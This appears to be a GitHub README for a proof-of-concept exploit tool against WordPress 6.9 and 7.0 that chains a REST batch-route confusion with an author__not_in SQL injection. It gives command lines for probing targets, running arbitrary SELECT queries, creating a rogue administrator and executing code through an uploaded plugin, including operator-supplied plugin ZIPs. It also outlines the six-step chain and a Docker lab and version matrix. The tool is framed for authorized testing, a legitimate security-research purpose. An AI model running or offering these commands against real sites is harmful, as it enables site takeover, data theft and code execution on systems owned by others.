Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

wp2shell stock-core chain

Authorized-testing proof of concept for the affected WordPress 6.9 and 7.0 REST batch-route confusion and author__not_in SQL injection chain.

The administrator path uses stock WordPress core. It does not use MySQL FILE, INTO OUTFILE, stacked queries, a writable document root, or a secure_file_priv change.

Everything needed to reproduce and inspect the workflow is contained in this folder. The default impact stage is deliberately constrained to the fixed command id. It has no arbitrary-command option and leaves no reusable webshell.

CLI modes

# Non-persistent sentinel probe. Exit 0 means vulnerable, 1 means the sentinel
# was blocked, and 2 means the result was inconclusive (for example, no network).
python3 exploit.py http://TARGET --check

# Run a SELECT through the UNION primitive.
python3 exploit.py http://TARGET "SELECT @@version"

# Create an administrator and verify a normal wp-login.php session, then stop.
# Email defaults to a reserved example.invalid address. Omit --password to
# enter it without terminal echo.
python3 exploit.py http://TARGET --add-user \
  --username audit-admin \
  --password 'Use-A-Lab-Only-Password'

# Disposable private-lab impact proof: create the administrator, log in,
# upload/activate a one-shot plugin, and execute the fixed command `id`.
python3 exploit.py http://127.0.0.1:8080 --exec \
  --username audit-admin \
  --password 'Use-A-Lab-Only-Password'

# The same end-to-end flow with generated credentials when any are omitted.
python3 exploit.py http://127.0.0.1:8080 --complete-chain

# Replace the default id proof with an operator-supplied plugin ZIP.
python3 exploit.py http://127.0.0.1:8080 --exec \
  --username audit-admin \
  --password 'Use-A-Lab-Only-Password' \
  --plugin-file ./my-plugin.zip

--add-admin remains an alias for --add-user; --rce-proof remains an alias for --exec. --exec and --complete-chain accept no shell command: both run only the built-in id proof and are restricted to loopback/private targets. --plugin-file PATH.zip replaces that proof with upload and activation of the supplied archive. A custom plugin is not removed automatically.

The stock administrator chain performs these steps:

  1. Render six unique same-site embeds from synthetic ID-zero posts, causing ordinary oembed_cache rows to be created.
  2. Use UNION rows to populate the request-local post cache with forged A–F objects backed by those real row IDs.
  3. Let oEmbed's sparse update and two hierarchy-loop repairs persist the forged fields and publish a fabricated Customizer changeset.
  4. Use nav_menus_created_posts while the Customizer has temporarily selected the site's existing administrator.
  5. Compose the dynamic parse_request hook from post status parse and type request, re-enter REST, and create the supplied administrator through the protected users endpoint.
  6. Log in normally with the new credentials.

This exact path expects the default non-persistent WordPress object cache and at least one public post that the site can oEmbed. --add-user leaves the six chain-owned post rows for inspection. Default execution modes remove their six rows after the fixed proof runs. A custom-plugin run leaves those rows and the activated plugin in place for explicit operator cleanup.

The execution modes are restricted to loopback and private-network targets. The default path uploads the plugin through the normal administrator interface and invokes an administrator-only REST route. The route accepts no command input: it runs only id (or returns a PHP execution marker when shell_exec is unavailable), deactivates itself, and removes its file and directory. It does not install an interactive or reusable webshell.

Disposable WordPress 7.0.1 lab

The included fixture uses the stock wordpress:7.0.1-apache and mariadb:11 images without changing MariaDB grants or server settings. Core auto-update is disabled only to prevent the intentionally vulnerable fixture from upgrading itself during a test. Apache listens on the configured site port so same-site oEmbed callbacks are reachable from inside the container.

docker compose -f lab/docker-compose.yml up -d

python3 exploit.py http://127.0.0.1:8080 --exec \
  --username audit-admin \
  --password 'Lab-Only-Password-7.0.1' \
  --email audit-admin@lab.invalid

docker compose -f lab/docker-compose.yml down -v

Vulnerable-version matrix

The stable affected lines are 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. The matrix harness gives every image a fresh installation, disables core updates in wp-config.php, and records query, add-user, exec, complete-chain, and custom plugin results. Where an exact Docker tag is absent, it installs the official exact core archive over the nearest stock WordPress Apache image and records that fixture source.

# Every stable pre-fix point release.
./lab/test-matrix.sh

# One latest-vulnerable representative from each affected branch.
./lab/test-matrix.sh --quick

# Add fixed 6.9.5 and 7.0.2 negative controls.
./lab/test-matrix.sh --include-fixed

The default report is written to matrix-results.tsv. Override it with --report PATH. See ATTACK_WORKFLOW.md for the complete source-level workflow, assumptions, cleanup behavior, and phase boundaries.

Legal

Use exclusively against systems you own or have explicit written permission to test.

About

PoC for the WordPress 6.9/7.0 REST batch-route confusion and author__not_in SQL injection chain.

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages